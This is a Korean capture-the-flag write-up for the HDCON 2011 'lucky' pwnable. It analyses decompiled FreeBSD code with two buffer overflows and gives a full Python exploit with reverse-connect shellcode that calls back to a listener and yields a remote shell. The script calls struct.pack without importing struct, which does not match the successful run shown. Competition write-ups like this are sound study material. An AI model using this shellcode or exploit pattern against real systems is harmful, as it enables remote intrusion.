CTF
HDCON 2011 본선 CTF - lucky
pwn3r_45
2011. 10. 13. 02:14
Category : Pwnables
Summary : Overwriting function pointer by overflow vulnerability
Connect to Server.
[pwn3r@localhost p200]$ nc 192.168.123.134 7466
==== LuckyGuy Hall Of Frame ====
================================
Try your fortune!
What number is next? 1234
Wrong~~ Current Number is 994068131
|
Binary Info.
[pwn3r@localhost p200]$ file lucky
lucky: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 6.3, not stripped |
stripped 되지않은 FreeBSD binary이다. Hex-Ray를 이용해 편리하게 분석할 수 있다.
void __cdecl main()
{
void *v0; // esp@1
int rand_var; // [sp+8h] [bp-40h]@7
socklen_t addr_len; // [sp+Ch] [bp-3Ch]@1
struct sockaddr addr; // [sp+10h] [bp-38h]@7
char v4; // [sp+20h] [bp-28h]@3
int client_fd; // [sp+34h] [bp-14h]@7
int server_fd; // [sp+38h] [bp-10h]@3
int pid; // [sp+3Ch] [bp-Ch]@7
v0 = alloca(16);
addr_len = 16;
drop_privs_user("luckyguy");
if ( getuid() != 1001 )
exit(1);
parent_die();
srand(0x900DC0DEu);
server_fd = socket_set(0, (struct sockaddr *)&v4, 7466);
if ( server_fd == -1 )
{
fprintf(_stdoutp, "socket error!\n");
exit(0);
}
signal(20, (__sighandler_t)1);
while ( 1 )
{
client_fd = accept(server_fd, &addr, &addr_len);
rand_var = rand();
pid = fork();
if ( !pid )
break;
close(client_fd);
}
signal(14, Late_Exit);
dup2(client_fd, 0);
dup2(client_fd, 1);
client_handler(rand_var);
close(client_fd);
exit(0);
}
|
main에서는 client가 접속하면 rand함수로 난수를 생성하고 client_handler 함수를 호출하면서 난수를 인자로 넘겨준다.
int __cdecl client_handler(int rand_var)
{
int result; // eax@2
size_t len; // eax@3
char buffer; // [sp+10h] [bp-58h]@1
int canary; // [sp+5Ch] [bp-Ch]@1
canary = 0;
memset(&buffer, 0, 0x40u);
read_hof();
((void (__cdecl *)(signed int, _DWORD, unsigned int))Write)(1, "Try your fortune!\n", 0x12u);
((void (__cdecl *)(signed int, _DWORD, unsigned int))Write)(1, "What number is next? ", 0x15u);
Read(0, &buffer, 0x80u); // Vuln!!
if ( ((int (__cdecl *)(char *))Atoi)(&buffer) == rand_var )
{
((void (__cdecl *)(_DWORD, _DWORD, unsigned int))Write)(1, "Good! you are LuckyGuy!\n", 0x18u);
add_hof();
result = read_hof();
}
else
{
((void (*)(char *, const char *, ...))Sprintf)(&buffer, "Wrong~~ Current Number is %d\n", rand_var);
len = strlen(&buffer);
result = ((int (__cdecl *)(signed int, char *, size_t))Write)(1, &buffer, len);
}
if ( canary )
{
((void (__cdecl *)(_DWORD, _DWORD, unsigned int))Write)(1, "Detected Buffer Overflow!\n", 0x1Au);
exit(0);
}
return result;
}
|
client_handler함수는 단순히 read함수로 문자열을 입력받고 문자열을 atoi함수의 인자로 사용한 결과값과 main함수에서 호출될 때 인자로 받은 난수와 비교한다.
이때 read함수로 버퍼크기 이상의 데이터를 입력받아 overflow취약점이 발생한다.
이로인해 client_handler함수의 리턴어드레스와 전함수로부터 인자로받은 난수까지도 조작이 가능해진다.
난수와 입력값의 atoi함수 실행값을 같은수로 조작한다면 add_hof함수가 호출되도록 할 수 있다.
두수가 같은시에 호출되는 add_hof함수도 살펴본다.
int __cdecl add_hof()
{
int result; // eax@1
FILE *fp; // ST1C_4@1
size_t len1; // eax@1
size_t len2; // eax@1
char buffer; // [sp+10h] [bp-28h]@1
char v5; // [sp+1Fh] [bp-19h]@1
void (__cdecl *func_ptr)(char *, size_t, signed int, FILE *); // [sp+28h] [bp-10h]@1
int canary; // [sp+2Ch] [bp-Ch]@1
canary = 0;
memset(&buffer, 0, 0x10u);
func_ptr = (void (__cdecl *)(char *, size_t, signed int, FILE *))GetProcAddress("fwrite");
fp = (FILE *)((int (__cdecl *)(_DWORD, _DWORD))Fopen)("LuckyGuy", "a+");
((void (__cdecl *)(signed int, _DWORD, unsigned int))Write)(1, "What is yourname ? ", 0x13u);
fflush(0);
Read(0, &buffer, 0x20u); // Vuln!!!!
v5 = 10;
len1 = strlen(&buffer);
((void (__cdecl *)(signed int, char *, size_t))Write)(1, &buffer, len1);
len2 = strlen(&buffer);
func_ptr(&buffer, len2, 1, fp);
result = fclose(fp);
if ( canary )
{
((void (__cdecl *)(signed int, _DWORD, signed int))Write)(1, "Detected Buffer Overflow!\n", 26);
exit(0);
}
return result;
}
|
add_hof함수에서도 변수크기이상의 데이터를 입력받음으로써 overflow취약점이 발생한다.
많은 데이터를 입력받지않아 리턴어드레스까지 덮어줄순 없지만 fwrite 함수를 가르키는 함수포인터를 덮어줄 수 있다.
client_handler함수의 리턴어드레스를 덮어주든 , add_hof함수에서 함수포인터를 덮어주던 eip를 조작할 수 있기때문에 add_hof함수에서 함수포인터를 오버라이팅 하도록한다.
한가지 주의할점은 지역변수에 선언된 canary변수가 NULL이 아니면 exit함수를 호출해 종료시키기 때문에 canary를 덮게된다면 NULL로 덮어주어야한다.
dup2함수로 표준입출력 디스크립터를 소켓디스크립터에 복제했기때문에 단순히 execve("/bin/sh",......)을 실행하는 쉘코드로도 쉘을 얻을 수 있지만 개인적으로 선호하는 리버스커넥션 쉘코드를 사용하기로했다.
exploit.py |
#!/usr/bin/python
from socket import *
from struct import pack
import time
HOST = "192.168.123.134"
PORT = 7466
SHELLCODE = \
"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"
CANARY = "\x00\x00\x00\x00"
for ret in range(0xbfbfeb00 , 0xbfbff000 , 6):
ret = struct.pack("<L" , ret)
payload1 = "\x00"*4
payload1 += "\x90"*8
payload1 += SHELLCODE
payload1 += CANARY
payload1 += "\x90"*(96-len(payload1))
payload1 += "\x00"*4
payload2 = "a"*24
payload2 += ret
s = socket(AF_INET , SOCK_STREAM)
s.connect((HOST , PORT))
s.recv(1024)
s.send(payload1+"\n")
s.recv(1024)
s.recv(1024)
s.send(payload2+"\n")
s.recv(1024)
s.close()
|
[pwn3r@localhost p200]$ ./exploit.py & nc -lv 4444
[1] 12494
Connection from 192.168.123.134 port 4444 [tcp/krb524] accepted
id
uid=1001(luckyguy) gid=1001(luckyguy) groups=1001(luckyguy)
ls -l
total 28
-rw-r--r-- 1 luckyguy luckyguy 219 Sep 15 18:39 LuckyGuy
-rwxr-xr-x 1 luckyguy luckyguy 11218 Sep 14 05:34 lucky |
Pwned :)